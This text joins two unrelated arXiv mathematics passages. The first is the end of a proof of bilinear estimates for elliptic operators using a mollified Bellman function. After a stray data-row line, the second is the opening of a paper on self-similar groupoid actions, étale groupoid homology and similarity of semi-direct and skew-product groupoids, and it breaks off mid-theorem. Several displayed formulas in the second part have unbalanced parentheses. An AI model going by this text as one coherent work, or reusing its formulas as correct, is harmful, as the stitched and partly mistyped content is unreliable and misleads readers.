Here, in the last inequality, we used $\int_{\mathbb{C}^2} \varphi_\nu=1$ and that for $(w,z)$ in the support of $\varphi_\nu$ we have $|u-w|\leqslant |u|+\nu$ and $|v-z|\leqslant |v|+\nu$, while $\Phi$ and $\Psi$ are increasing.
\emph{Estimates \eqref{eq:Xmoll2}.}
Recall that Lemma~\ref{lm:XisC1} guarantees that the first-order partial derivatives of $\mathfrak{X}$ are continuous.
By Lemma~\ref{lm:Xderiv} we have
\begin{align*}
\big|\partial_{\bar{u}}\mathfrak{X}_{\nu}(u,v)\big|
& = \Big|\int_{\mathbb{C}^2}\partial_{\bar{u}}\mathfrak{X}(u-w,v-z)\varphi_\nu(w,z) \,\textup{d}w \,\textup{d}z\Big| \\
& \leqslant \int_{\mathbb{C}^2}\max\big\{\Phi'(|u-w|), |v-z|\big\} \,\varphi_\nu(w,z) \,\textup{d}w \,\textup{d}z \\
& \leqslant \max\left\{\Phi'(|u|+\nu), |v|+\nu\right\}
\end{align*}
and analogously
\[ \big|\partial_{\bar{v}}\mathfrak{X}_{\nu}(u,v)\big| \leqslant \Psi'(|v|+\nu). \]
Here we used that $\Phi'$ and $\Psi'$ are increasing too; recall \eqref{eq:bijections}.
\emph{Estimate \eqref{eq:Xmoll3}.}
Lemma~\ref{lm:XisC1} also guarantees that the second-order derivatives of $\mathfrak{X}$ are locally integrable functions on $\mathbb{R}^4$ defined on the complement of the critical surface and coordinate hyperplanes.
Combining classical results \cite[Theorem~6.3.11]{Cohn13} and \cite[Theorem~2.1]{Hebey99} we see that the second-order partial derivatives of $\mathfrak{X}$ can equally well be computed in the weak (i.e., distributional) sense. In particular, the generalized Hessian of $\mathfrak{X}\ast\varphi_{\nu}$ is the convolution of the generalized Hessian of $\mathfrak{X}$ and $\varphi_{\nu}$. The former exists almost everywhere and satisfies the bound \eqref{eq:Xlowerbound} from Lemma~\ref{lm:Xlower} at those points.
Therefore, we still have
\begin{align*}
H^{A(x),B(x)}_{\mathfrak{X}_\nu}[(u,v);(\zeta,\eta)]
& = \int_{\mathbb{C}^2} H^{A(x),B(x)}_{\mathfrak{X}}[(u-w,v-z);(\zeta,\eta)] \,\varphi_\nu(w,z) \,\textup{d}w \,\textup{d}z \\
& \geqslant \frac{1}{10} \Big(\frac{\tilde{M}}{\tilde{m}}\frac{\tilde{m}-1}{\tilde{M}-1}\Big)^{1/2} C_{p}(A,B)^{-1} |\zeta| |\eta|. \qedhere
\end{align*}
\end{proof}
\subsection{Proof for smooth matrix functions}
First, we assume that the entries of $A$ and $B$ are bounded $\textup{C}^1$ functions that also have bounded derivatives. In addition to the previously fixed $\Phi,\Psi,A,B$, now we also take $f,g\in\textup{C}_{c}^{\infty}(\mathbb{R}^d)$. Let us choose any radial $\textup{C}^\infty$ function $\psi\colon\mathbb{R}^d\to[0,1]$ that is constantly $1$ on the standard unit ball, while vanishes on its double dilate around the origin.
This time we normalize dilates of $\psi$ in $\textup{L}^\infty$ norm and write $\psi_R(x) := \psi(x/R)$ for any $R\in(0,\infty)$ and $x\in\mathbb{R}^d$.
Finally, for each $\nu\in(0,1]$ recall the mollified Bellman function $\mathfrak{X}_\nu$ from Subsection~\ref{subsec:regularization}.
Just as in \cite{CarbonaroDragicevic20}, for given $R\in(0,\infty)$ and $\nu\in(0,1]$ we define $\mathcal{E}_{R,\nu}\colon[0,\infty)\to [0,\infty)$ as
\[ \mathcal{E}_{R,\nu}(t) := \int_{\mathbb{R}^{d}} \psi_R(x) \,\mathfrak{X}_{\nu}\big((T_{t}^{A}f)(x),(T_{t}^{B}g)(x)\big) \,\textup{d}x. \]
The following manipulations were justified in \cite[Section 3.1]{CarbonaroDragicevic20} and \cite[Section 4.1]{CarbonaroDragicevic20}.
Proposition~\ref{prop:Xmollified}\,(\ref{eq:Xmoll1}) gives an upper bound on the following integral for a fixed time $T\in(0,\infty)$:
{\allowdisplaybreaks
\begin{align*}
-\int_{0}^{T} \mathcal{E}_{R,\nu}'(t) \,\textup{d}t
& = \mathcal{E}_{R,\nu}(0) - \mathcal{E}_{R,\nu}(T)
\leqslant \mathcal{E}_{R,\nu}(0) \\
& =\int_{\mathbb{R}^d} \psi_R(x) \,\mathfrak{X}_{\nu}\big(f(x),g(x)\big) \,\textup{d}x \\
& \leqslant 2\max\Big\{1,\frac{M}{\tilde{m}}\Big\}\int_{\mathbb{R}^d} \psi_R(x) \,\big( \Phi(|f(x)|+\nu)+\Psi(|g(x)|+\nu) \big) \,\textup{d}x.
\end{align*}
}
On the other hand, \cite[Proposition 4.3]{CarbonaroDragicevic20} and Proposition~\ref{prop:Xmollified}\,(\ref{eq:Xmoll3}) give a lower bound on the same integral:
{\allowdisplaybreaks
\begin{align*}
-\int_{0}^{T} & \mathcal{E}_{R,\nu}'(t) \,\textup{d}t
= -\int_{0}^{T} \int_{\mathbb{R}^{d}} \psi_R(x) \,\frac{\partial}{\partial t}\mathfrak{X}_{\nu}\big((T_{t}^{A}f)(x),(T_{t}^{B}g)(x)\big) \,\textup{d}x \,\textup{d}t \\
& = \int_{0}^{T} \int_{\mathbb{R}^d} \psi_R(x) \, H^{A(x),B(x)}_{\mathfrak{X}_\nu}\big[\big((T_{t}^{A}f)(x),(T_{t}^{B}g)(x)\big);\big((\nabla T_{t}^{A}f)(x),(\nabla T_{t}^{B}g)(x)\big)\big] \,\textup{d}x \,\textup{d}t + \mathcal{R}_{T,R,\nu} \\
& \geqslant \frac{1}{10} \Big(\frac{\tilde{M}}{\tilde{m}}\frac{\tilde{m}-1}{\tilde{M}-1}\Big)^{1/2} C_{p}(A,B)^{-1} \int_{0}^{T} \int_{\mathbb{R}^d} \psi_R(x) \,\big|(\nabla T_{t}^{A}f)(x)\big| \,\big|(\nabla T_{t}^{B}g)(x)\big| \,\textup{d}x \,\textup{d}t + \mathcal{R}_{T,R,\nu},
\end{align*}
}
where $\mathcal{R}_{T,R,\nu}$ is the remainder (a.k.a.\@ the \emph{error-term} in \cite{CarbonaroDragicevic20}), given as
\begin{align*}
\mathcal{R}_{T,R,\nu} := 2\mathop{\textup{Re}}
\int_{0}^{T} \int_{\mathbb{R}^d}
\Big( & (\partial_{\bar{u}} \mathfrak{X}_{\nu})\big((T_{t}^{A}f)(x),(T_{t}^{B}g)(x)\big) \,\big\langle(\nabla\psi_R)(x), A(x)(\nabla T_{t}^{A} f)(x) \big\rangle_{\mathbb{C}^{d}} \\
& + (\partial_{\bar{v}} \mathfrak{X}_{\nu})\big((T_{t}^{A}f)(x),(T_{t}^{B}g)(x)\big) \,\big\langle (\nabla\psi_R)(x), B(x)(\nabla T_{t}^{B} g)(x) \big\rangle_{\mathbb{C}^{d}}\Big) \,\textup{d}x \,\textup{d}t.
\end{align*}
Proposition~\ref{prop:Xmollified}\,(\ref{eq:Xmoll2}) controls this remainder as
{\allowdisplaybreaks
\begin{align*}
|\mathcal{R}_{T,R,\nu}|
& \leqslant 2 \Lambda(A) \int_{0}^{T} \int_{\mathbb{R}^d}|\nabla\psi_R(x)| \,\Phi'\big(|(T_t^A f)(x)|+\nu\big) \,|(\nabla T_t^A f)(x)| \,\textup{d}x \,\textup{d}t \\
& + 2 \Lambda(A) \int_{0}^{T} \int_{\mathbb{R}^d}|\nabla\psi_R(x)| \,\big(|(T_t^B g)(x)|+\nu\big) \,|(\nabla T_t^A f)(x)| \,\textup{d}x \,\textup{d}t \\
& + 2 \Lambda(B) \int_{0}^{T} \int_{\mathbb{R}^d}|\nabla\psi_R(x)| \,\Psi'\big(|(T_t^B g)(x)|+\nu\big) \,|(\nabla T_t^B g)(x)| \,\textup{d}x \,\textup{d}t.
\end{align*}
}
By reasoning as in the proof of \cite[Lemma 6.1]{CarbonaroDragicevic20}, semigroup $\textup{L}^\infty$ estimates and Davies-Gaffney-type estimates now easily show
\[ \limsup_{R\to\infty} \limsup_{\nu\to0^+} |\mathcal{R}_{T,R,\nu}| = 0 \]
for any fixed $T\in(0,\infty)$.
Thus, we first let $\nu\to0^+$ and then send $R\to\infty$, both in the upper estimate and in the lower estimate above.
Combining the two immediately gives us
\begin{align*}
\frac{1}{10} \Big(\frac{\tilde{M}}{\tilde{m}}\frac{\tilde{m}-1}{\tilde{M}-1}\Big)^{1/2} C_{p}(A,B)^{-1} \int_{0}^{T} \int_{\mathbb{R}^d} \big|(\nabla T_{t}^{A}f)(x)\big| \,\big|(\nabla T_{t}^{B}g)(x)\big| \,\textup{d}x \,\textup{d}t & \\
\leqslant 2\max\Big\{1,\frac{M}{\tilde{m}}\Big\}\int_{\mathbb{R}^d} \big( \Phi(|f(x)|)+\Psi(|g(x)|) \big) \,\textup{d}x & .
\end{align*}
In the limit as $T\to\infty$ we obtain precisely \eqref{eq:bilinorl2}.
\subsection{Proof for non-smooth matrix functions}
Extension of the estimate \eqref{eq:bilinorl2} to arbitrary $A$ and $B$ is performed exactly as in \cite{CarbonaroDragicevic20}. In \cite[Appendix]{CarbonaroDragicevic20} the authors define smooth approximations $A_\varepsilon$ and $B_\varepsilon$ such that $\nabla T_t^{A_\varepsilon}f \to \nabla T_t^{A}f$ in the $\textup{L}^2$ norm as $\varepsilon\to0^+$, $\lambda(A)\leqslant\lambda(A_\varepsilon)\leqslant\Lambda(A_\varepsilon)\leqslant\Lambda(A)$, $\Delta_p(A_\varepsilon)\geqslant\Delta_p(A)$, etc. The proof is then finalized as in \cite[Section~6]{CarbonaroDragicevic20}, by applying the previously established smooth case and letting $\varepsilon\to0^+$.
\section*{Acknowledgements}
This work was supported in part by the \emph{Croatian Science Foundation} project UIP-2017-05-4129 (MUNHANAP).
The authors are grateful to Oliver Dragi\v{c}evi\'{c} for introducing them to elliptic operators with non-smooth complex coefficients during his stay at the University of Zagreb in the Spring of 2019.
|
1,477,468,749,983 | arxiv | \section{introduction}
\bigskip
\bigskip
Informally, a self-similar action is given by isomorphisms between parts of an object (think fractals or Julia sets) at different scales. Self-similar actions were studied intensely after exotic examples of groups acting on rooted trees and generated by finite automata, like infinite residually finite torsion groups, and groups of intermediate growth were constructed by Grigorchuk in the 1980's. Using the Pimsner construction from a $C^*$-correspondence, Nekrashevych introduced the $C^*$-algebras associated with self-similar group actions in \cite{N, N1}, where important results about their structure and their $K$-theory were obtained. Motivated by the construction of all Kirchberg algebras in the UCT class using topological graphs given by Katsura, in \cite {EP} Exel and Pardo introduced self-similar group actions on graphs and realized their $C^*$-algebras as groupoid $C^*$-algebras.
In this paper, we are interested in self-similar actions of groupoids $G$ on the path space of finite directed graphs $E$ as introduced and studied in \cite{LRRW}, where the main goal was to find KMS states on some resulting dynamical systems. We generalize certain results of Exel and Pardo, in particular we define a groupoid $\mathcal{G}(G,E)$ and discuss the structure of the $C^*$-algebra $C^*(G,E)$, defined as a Cuntz-Pimsner algebra of a $C^*$-correspondence over $C^*(G)$. The $C^*$-algebra $C^*(G,E)$ has a natural gauge action and contains copies of $C^*(E)$ and $C^*(G)$. In general, its structure is rather intricate; in a particular case, $C^*(G,E)\cong C^*(E)\rtimes G$.
We begin with a review of \' etale groupoid homology, then we recall some facts about groupoid actions, skew products and semi-direct products and generalize a result of Renault about similarity of groupoids in the spirit of Takai duality. We also describe a general strategy to compute the $K$-theory of $C^*(G,E)$ and the homology of $\mathcal{G}(G,E)$ in certain cases. We illustrate with an example.
We expect that many of our results will be true for self-similar actions of groupoids on the path space of infinite graphs. For the case when $G$ is a group, see \cite{EPS, L}.
\bigskip
\bigskip
\section{Homology of \'etale groupoids}
\bigskip
A groupoid $G$ is a small category with inverses. The set of objects is denoted by $G^{(0)}$. We will use $d$ and $t$ for the domain and terminus maps $d,t:G \to G^{(0)}$ to distinguish them from the range and source maps $r,s$ on directed graphs. For $u,v \in G^{(0)}$, we write \[G_u =\{g\in G: d(g)=u\},\;\;G^v =\{g\in G: t(g)=v\},\;\; G_u^v=G_u\cap G^v.\]
The set of composable pairs is denoted $G^{(2)}$.
An \'etale groupoid is a topological groupoid where the terminus map $t$ (and necessarily the
domain map $d$) is a local homeomorphism (as a map from $G$ to $G$). The unit space $G^{(0)}$ of an \'etale groupoid is always an open subset of $G$.
\begin{dfn} Let $G$ be an \' etale groupoid. A bisection is an open subset $U\subseteq G$ such that $d$ and $t$ are both injective when restricted to $U$.
\end{dfn}
Two units $x,y \in G^{(0)}$ belong to the same $G$-orbit if there exists $g \in G$ such that $d(g) = x$ and $t(g) = y$. We denote by orb$_G(x)$ the $G$-orbit of $x$. When every $G$-orbit is dense in $G^{(0)}$, the groupoid $G$ is called minimal. An open set $V\subseteq G^{(0)}$ is called $G$-full if for every $x \in G^{(0)}$ we have orb$_G (x) \cap V \neq \emptyset$.
We denote by $G_V$ the subgroupoid $\{g \in G\; | \; d(g), t(g) \in V\}$, called the restriction of $G$ to $V$. When $G$ is \'etale, the restriction $G_V$ is an open \'etale subgroupoid with unit space $V$.
The isotropy group of a unit $x\in G^{(0)}$ is the group \[G_x^x :=\{g\in G\; | \; d(g)=t(g)=x\},\] and the isotropy bundle is
\[G' :=\{g\in G\; | \; d(g)=t(g)\}= \bigcup_{x\in G^{(0)}} G_x^x.\]
A groupoid $G$ is said to be principal if all isotropy groups are trivial, or equivalently, $G' = G^{(0)}$. We say that $G$ is effective if the interior of $G'$ equals $G^{(0)}$.
\begin{dfn} A groupoid $G$ is elementary if it is compact and principal. A groupoid $G$ is an $AF$ groupoid if there exists an ascending chain of open elementary subgroupoids $G_1\subseteq G_2\subseteq ...\subseteq G$ such that $G = \bigcup_{i=1}^\infty G_i$. A groupoid $G$ is ample if it is \'etale and $G^{(0)}$ is zero-dimensional; equivalently, $G$ is ample if it has a basis of compact open bisections.
\end{dfn}
We recall now the definion of homology of \'etale groupoids which was introduced by Crainic and Moerdijk in \cite{CM}. Let $A$ be an Abelian group and
let $\pi: X \to Y$ be a local homeomorphism between two locally compact Hausdorff spaces. Given any $f \in C_c(X, A)$ we define
\[\pi_*(f)(y):= \sum_{\pi(x)=y} f(x).\]
It follows that $\pi_*(f)\in C_c(Y,A)$.
Given an \' etale groupoid $G$, let $G^{(1)}=G$ and for $n\ge 2$ let $G^{(n)}$ be the space of composable strings
of $n$ elements in $G$ with the product topology. For $n\ge 2$ and $ i = 0,...,n$, we let $\partial_i : G^{(n)} \to G^{(n-1)}$ be the face maps defined by
\[\partial_i(g_1,g_2,...,g_n)=\begin{cases}(g_2,g_3,...,g_n)&\;\text{if}\; i=0,\\
(g_1,...,g_ig_{i+1},...,g_n) &\;\text{if} \;1\le i\le n-1,\\
(g_1,g_2,...,g_{n-1})& \;\text{if}\; i = n.\end{cases}\]
We define the homomorphisms $\delta_n : C_c(G^{(n)}, A) \to C_c(G^{(n-1)}, A)$ given by
\[\delta_1=d_*-t_*,\;\; \delta_n=\sum_{i=0}^n(-1)^i\partial_{i*}\; \text{for}\; n\ge 2.\]
It can be verified that $\delta_n\circ\delta_{n+1}=0$ for all $n\ge 1$.
The homology groups $H_n(G, A)$ are by definition the homology groups of the chain complex $C_c(G^{(*)},A)$ given by
\[
0\stackrel{\delta_0}{\longleftarrow} C_c(G^{(0)},A)\stackrel{\delta_1}{\longleftarrow}C_c(G^{(1)},A)\stackrel{\delta_2}{\longleftarrow}C_c(G^{(2)},A)\longleftarrow\cdots,\]
i.e. $H_n(G,A)=\ker \delta_n/\text{im } \delta_{n+1}$, where $\delta_0=0$.
If $A=\field{Z}$, we write $H_n(G)$ for $H_n(G,\field{Z})$.
The following HK-conjecture of Matui states that the homology of an \'etale groupoid
refines the $K$-theory of the reduced groupoid $C^*$-algebra.
Let $G$ be a minimal effective ample Hausdorff groupoid with compact unit space. Then
\[K_i(C_r^*(G)) \cong \bigoplus_{n=0}^\infty H_{2n+i}(G), \;\text{for}\; i = 0, 1.\]
Recently, this conjecture was the source of intense research. It was confirmed for several groupoids like $AF$-groupoids, transformation groupoids of Cantor minimal systems, groupoids of shifts of finite type and products of groupoids of shifts of finite type, see \cite{M}. The homology of ample Hausdorff groupoids was investigated in \cite{FKPS}, with emphasis on the Renault-Deaconu groupoids associated to $k$ pairwise-commuting local homeomorphisms of a zero-dimensional space. It was shown that the homology of $k$-graph groupoids can be computed in terms of the adjacency matrices, using spectral sequences and a chain complex developed by Evans in \cite{E}. The HK-conjecture was also confirmed for groupoids on one-dimensional solenoids in \cite{Y}. Recently, counterexamples to the HK-conjecture of Matui were found by Scarparo in \cite{S} and by Ortega and Sanchez in \cite{OS}.
\bigskip
\section{Groupoid actions and similarity}
\bigskip
We recall the concept of a groupoid action on another groupoid from \cite{AR}, page 122 and from \cite{De}.
\begin{dfn} \label{ga}
A topological groupoid $G$ acts (on the right) on another topological groupoid $H$ if there are a continuous open surjection $p: H\to G^{(0)}$ and a continuous map $H\ast G\to H$, write $(h,g)\mapsto h\cdot g$ where
\[H\ast G=\{(h,g)\in H\times G \mid t(g)=p(h)\}\]
such that
\medskip
i) $p(h\cdot g)=d(g)$ for all $(h,g)\in H\ast G$,
\medskip
ii) $(h,g_1)\in H\ast G$ and $(g_1, g_2)\in G^{(2)}$ implies that $(h, g_1g_2)\in H\ast G$ and \[ h\cdot (g_1g_2)=(h\cdot g_1)\cdot g_2,\]
\medskip
iii) $(h_1,h_2)\in H^{(2)}$ and $( h_1h_2, g)\in H\ast G$ implies $(h_1, g), (h_2, g)\in H\ast G$ and \[(h_1h_2)\cdot g=(h_1\cdot g)(h_2\cdot g),\]
\medskip
iv) $ h\cdot p(h)=h$ for all $h\in H$.
\noindent The action is called free if $h\cdot g=h$ implies $g=p(h)$ and transitive if for all $h_1,h_2\in H$ there is $g\in G$ with $h_2=h_1\cdot g$.
\end{dfn}
Note that if $G$ acts on $H$ on the right, we can define a left action of $G$ on $H$ by taking $g\cdot h:= h\cdot g^{-1}$ and viceversa.
\begin{example}
Given $G$ a topological groupoid, a $G$-module in \cite{T} is a topological groupoid $A$ with domain and terminus maps equal to $p:A\to G^{(0)}$ such that $A_x^x$ is an abelian group for all $x\in G^{(0)}$, $G$ acts on $A$ as a space and such that for each $g\in G$ the action map $\alpha_g:A_{d(g)}\to A_{t(g)}$ is a group homomorphism. In particular, $A$ can be a trivial group bundle $G^{(0)}\times D$ for $D$ an abelian group and $\alpha_g=id_D$ for all $g\in G$.
\end{example}
\begin{rmk}
If $G$ acts on the groupoid $H$, then $G$ acts on the unit space $H^{(0)}$ using the restriction $p_0:=p|_{H^{(0)}}:H^{(0)}\to G^{(0)}$ and we have $p=p_0\circ t=p_0\circ d$, where $d, t:H\to H^{(0)}$. In particular,
\[p(h^{-1})=p_0(t(h^{-1}))=p_0(d(h))=p(h).\]
Using the fact that $h=hd(h)=t(h)h$, it follows that \[h\cdot g=( h\cdot g)( d(h)\cdot g)=( t(h)\cdot g)( h\cdot g),\]
so we deduce that $d( h\cdot g)=d(h)\cdot g$ and $t( h\cdot g)= t(h)\cdot g$.
\end{rmk}
\begin{dfn}
If $G$ acts on $H$, then the semi-direct product groupoid $H\rtimes G$, also called the action groupoid, is defined as follows. As a set, \[ H\rtimes G=H\ast G=\{(h,g)\in H\times G \mid t(g)=p(h)\}\] and the multiplication is given by
\[(h,g)(h'\cdot g,g')=(hh', gg'),\]
when $t(g')=d(g)$ and $d(h)=t(h')$.
\end{dfn}
In a semi-direct product, the inverse is given by \[(h,g)^{-1}=(h^{-1}\cdot g, g^{-1})\]
and we get
\[(h,g)^{-1}(h,g)=(h^{-1}\cdot g, g^{-1})(h,g)=((h^{-1}\cdot g)(h\cdot g), d(g))=(d(h)\cdot g, d(g)),\]
\[(h,g)(h,g)^{-1}=(h,g)(h^{-1}\cdot g, g^{-1})=(t(h),t(g)).\]
Since $d(g)=p(d(h)\cdot g)$ and $ t(g)=p( t(h))$, the unit space of $H\rtimes G$ can be identified with $H^{(0)}$ and then we make identifications
\[d(h,g)\equiv d(h)\cdot g,\;\; t(g,h)\equiv t(h).\] There is a groupoid homomorphism \[\pi: H\rtimes G\to G,\; \pi(h,g)=g\] with kernel $\pi^{-1}(G^{(0)})=\{(h,p(h))\;\mid\; h\in H\}$ isomorphic to $H$.
\begin{rmk}
The notion of groupoid action on another groupoid includes the action of a groupoid on a space and the action of a group on another group by automorphisms. A particular situation is when $G_1, G_2$ are groupoids and $Z$ is a $(G_1,G_2)$-space, i.e. $Z$ is a left $G_1$-space, a right $G_2$-space and the actions commute. Then
$G_1\ltimes Z$ is a right $G_2$-groupoid and $Z\rtimes G_2$ is a left $G_1$-groupoid.
\end{rmk}
\begin{dfn}
Suppose now that $G,\Gamma$ are \'etale groupoids and that $\rho:G\to \Gamma$ is a groupoid homomorphism, also called a cocycle. The skew product groupoid $G\times_{\rho}\Gamma$ is defined as the set of pairs $(g,\gamma)\in G\times \Gamma$ such that $(\gamma,\rho(g))\in \Gamma^{(2)}$ with multiplication
\[(g,\gamma)(g',\gamma\rho(g))=(gg',\gamma)\;\text{if}\;(g,g')\in G^{(2)}\]
and inverse
\[(g,\gamma)^{-1}=(g^{-1},\gamma\rho(g)).\]
\end{dfn}
In a skew product we have $d(g,\gamma)=(d(g),\gamma\rho(g))$ and $t(g,\gamma)=(t(g),\gamma)$. Its unit space is \[G^{(0)}\ast \Gamma=\{(u,\gamma)\in G^{(0)}\times \Gamma: \rho(u)=d(\gamma)\}.\]
In particular, if $G,H$ are \'etale groupoids and $G$ acts on $H$ on the right, for the groupoid homomorphism $\pi: H\rtimes G\to G,\; \pi(h,g)=g$ we can form the skew product $(H\rtimes G)\times_\pi G$ made of triples $(h,g,g')\in H\times G\times G$ such that $p(h)=t(g)$ and $(g',g)\in G^{(2)}$, with unit space $H^{(0)}\ast G$ and operations
\[(h,g,g')(h', g'',g'g)=(h(h'\cdot g^{-1}),gg'', g') ,\]
\[(h,g,g')^{-1}=(h^{-1}\cdot g,g^{-1}, g'g).\]
\begin{rmk}
Given a groupoid homomorphism $\rho:G\to \Gamma$, there is a left action $\hat{\rho}$ of $\Gamma$ on the skew product $G\times_{\rho}\Gamma$ given by \[\gamma'\cdot(g,\gamma)=(g,\gamma'\gamma).\]
\end{rmk}
\begin{proof}
We check all the properties defining a groupoid action. First, we define the continuous open map \[p:G\times_{\rho}\Gamma\to \Gamma^{(0)},\; p(g,\gamma)=t(\gamma)\] and note that $d(\gamma')=t(\gamma)=p(g,\gamma)$. Now $p(g,\gamma'\gamma)=t(\gamma')$ and if $(\gamma_1, \gamma_2)\in \Gamma^{(2)}$, then \[(\gamma_1\gamma_2)\cdot(g,\gamma)=(g, \gamma_1\gamma_2\gamma)=\gamma_1\cdot(\gamma_2\cdot(g,\gamma)).\] Also, if $(g,\gamma), (g', \gamma\rho(g))\in G\times_\rho\Gamma$ are composable with product $(gg', \gamma)$, then
\[\gamma'\cdot(gg',\gamma)=(gg', \gamma'\gamma)=(g, \gamma'\gamma)(g', \gamma'\gamma\rho(g))=(\gamma'\cdot(g,\gamma))(\gamma'\cdot(g', \gamma\rho(g))).\]
The last condition to check is $t(\gamma)\cdot(g,\gamma)=(g,\gamma)$, which is obvious.
\end{proof}
We define a right action of $\Gamma$ on $G\times_{\rho}\Gamma$ by $(g,\gamma)\cdot \gamma'=(g,\gamma'^{-1}\gamma)$, and we form the semi-direct product $(G\times_\rho \Gamma)\rtimes\;\Gamma$ made of triples $(g,\gamma,\gamma')\in G\times \Gamma\times \Gamma$ such that $(\gamma, \rho(g))\in \Gamma^{(2)}$ and $t(\gamma')=p(g,\gamma)=t(\gamma)$, with unit space $G^{(0)}\ast\Gamma$ and operations
\[(g,\gamma,\gamma')(g', \gamma'^{-1}\gamma\rho(g),\gamma'')=(gg', \gamma,\gamma'\gamma'') ,\]
\[(g, \gamma, \gamma')^{-1}=((g^{-1},\gamma\rho(g))\cdot \gamma', \gamma'^{-1} )=(g^{-1}, \gamma'^{-1}\gamma\rho(g),\gamma'^{-1}).\]
For the next result, which resembles Takai duality, see Definition 1.3 in \cite{Re}, Proposition 3.7 in \cite{M} and Definition 3.1 in \cite{FKPS}.
\begin{thm}
Let $G, H, \Gamma$ be \'etale groupoids such that $G$ acts on $H$ and such that $\rho:G\to \Gamma$ is a groupoid homomorphism. Then, using the above notation, $(H\rtimes G)\times_\pi G$ is similar to $H$ and $(G\times_\rho \Gamma)\rtimes \Gamma$ is similar to $G$.
\end{thm}
\begin{proof}
Recall that two (continuous) groupoid homomorphisms $\phi_1,\phi_2:G_1\to G_2$ are similar if there is a continuous function $\theta:G_1^{(0)}\to G_2$ such that
\[\theta(t(g))\phi_1(g)=\phi_2(g)\theta(d(g))\]
for all $g\in G_1$. Two topological groupoids $G_1, G_2$ are similar if there exist continuous homomorphisms $\phi:G_1\to G_2$ and $\psi:G_2\to G_1$ such that $\psi\circ \phi$ is similar to $id_{G_1}$ and $\phi\circ \psi$ is similar to $id_{G_2}$.
To show that $(H\rtimes G)\times_\pi G$ is similar to $H$, we define
\[\phi: (H\rtimes G)\times_\pi G\to H,\; \phi(h,g,g')= h\cdot g'^{-1}, \]
\[\psi:H\to (H\rtimes G)\times_\pi G,\; \psi(h)=(h,p(h),p(h))\]
and
\[\theta:H^{(0)}\ast G\to (H\rtimes G)\times_\pi G,\;\theta(u,g)=(u\cdot g^{-1}, g, p(u)).\]
We check that \[(\phi\circ\psi)(h)=\phi(h,p(h),p(h))=h\cdot p(h)^{-1}=h\] and that \[(*)\;\; \theta[t(h,g,g')](h,g,g')=(\psi\circ\phi)(h,g,g')\theta[d(h,g,g')].\]
We have
\[t(h,g,g')=(h,g,g')(h,g,g')^{-1}=(h,g,g')(h^{-1}\cdot g, g^{-1},g'g)=\]
\[=(h(h^{-1}\cdot g\cdot g^{-1}),gg^{-1},g')=(t(h),t(g),g')\equiv (t(h),g'),\]
and
\[\theta(t(h),g')=(t(h)\cdot g'^{-1}, g',p(t(h)).\]
The left-hand side of $(*)$ becomes
\[(t(h)\cdot g'^{-1}, g',p(t(h))(h,g,g')=(h\cdot g'^{-1},g'g, p(t(h))=(h\cdot g'^{-1},g'g, t(g')).\]
Now
\[(\psi\circ\phi)(h,g,g')=\psi(h\cdot g'^{-1})=(h\cdot g'^{-1}, p(h\cdot g'^{-1}), p(h\cdot g'^{-1})=(h\cdot g'^{-1},t(g'),t(g')),\]
\[d(h,g,g')=(h,g,g')^{-1}(h,g,g')=(h^{-1}\cdot g,g^{-1}, g'g)(h,g,g')=\]\[=((h^{-1}\cdot g)(h\cdot g),g^{-1}g,g'g)=(d(h)\cdot g, d(g),g'g)\equiv (d(h)\cdot g,g'g),\]
and
\[\theta(d(h)\cdot g,g'g)=(d(h)\cdot g\cdot (g'g)^{-1}, g'g),p(d(h)\cdot g) )=(d(h)\cdot g'^{-1},g'g), d(g)).\]
The right-hand side becomes
\[(h\cdot g'^{-1},t(g'),t(g'))(d(h)\cdot g'^{-1},g'g,d(g))=(h\cdot g'^{-1}, g'g, t(g')),\]
so $(*)$ is verified.
To show that $(G\times_\rho \Gamma)\rtimes \Gamma$ is similar to $G$, we define
\[\phi: (G\times_\rho \Gamma)\rtimes\Gamma\to G, \; \phi(g,\gamma,\gamma')=g,\]
\[\psi:G\to (G\times_\rho \Gamma)\rtimes\Gamma,\; \psi(g)=(g, \rho(t(g)),\rho(g) )\]
and
\[\theta: G^{(0)}\ast \Gamma\to (G\times_\rho \Gamma)\rtimes\Gamma, \theta(u,\gamma)=(u, \rho(u),\gamma^{-1}).\]
We have
\[(\phi\circ \psi)(g)=\phi(g,\rho(t(g)),\rho(g))=g\]
and we need to verify that
\[(**)\;\; \theta(t(g,\gamma,\gamma')) (g,\gamma,\gamma')=(\psi\circ \phi)(g,\gamma,\gamma')\theta(d(g,\gamma,\gamma')).\]
We compute
\[t(g,\gamma, \gamma')=(g,\gamma,\gamma')(g,\gamma,\gamma')^{-1}=(g,\gamma,\gamma')(g^{-1}, \gamma'^{-1}\gamma\rho(g), \gamma'^{-1})=\]
\[=(t(g),\gamma,t(\gamma'))\equiv (t(g),\gamma)\]
and
\[\theta(t(g),\gamma)=(t(g),\rho(t(g),\gamma^{-1}),\]
so the left-hand side of $(**)$ becomes
\[(t(g),\rho(t(g)),\gamma^{-1})(g,\gamma,\gamma')=(g,\rho(t(g)),\gamma^{-1}\gamma').\]
Also
\[(\psi\circ\phi)(g,\gamma,\gamma')=(g,\rho(t(g)),\rho(g)),\]
\[d(g,\gamma,\gamma')=(g,\gamma,\gamma')^{-1}(g,\gamma,\gamma')=(g^{-1}, \gamma'^{-1}\gamma\rho(g), \gamma'^{-1})(g,\gamma,\gamma')=\]
\[=(d(g),\gamma'^{-1}\gamma\rho(g),d(\gamma'))\equiv (d(g), \gamma'^{-1}\gamma\rho(g)),\]
\[\theta(d(g), \gamma'^{-1}\gamma\rho(g))=(d(g),\rho(d(g), \rho(g)^{-1}\gamma^{-1}\gamma'),\]
and the right-hand side is
\[(g,\rho(t(g)),\rho(g))(d(g),\rho(d(g)), \rho(g)^{-1}\gamma^{-1}\gamma')=(g,\rho(t(g)),\gamma^{-1}\gamma'),\]
so $(**)$ is verified.
\end{proof}
For skew products and semi-direct products of groupoids, there are Lyndon--Hochschild--Serre spectral sequences for the computation of their homology, see \cite{CM} and \cite{M}.
\begin{thm}\label{seq} Let $G, \Gamma$ be \'etale groupoids.
(1) Suppose that $\rho : G \to \Gamma$ is a groupoid homomorphism. Then there exists a spectral sequence
\[E_{p,q}^2 =H_p(\Gamma,H_q(G\times_{\rho}\Gamma))\Rightarrow H_{p+q}(G),\]
where $H_q (G \times_{\rho}\Gamma)$ is regarded as a $\Gamma$-module via the action $\hat{\rho} : \Gamma\curvearrowright G\times_{\rho}\Gamma$.
\bigskip
(2) Suppose that $\varphi:\Gamma \curvearrowright G$ is a groupoid action. Then there exists a spectral sequence
\[E_{p,q}^2 =H_p(\Gamma,H_q(G))\Rightarrow H_{p+q}(\Gamma\ltimes G),\]
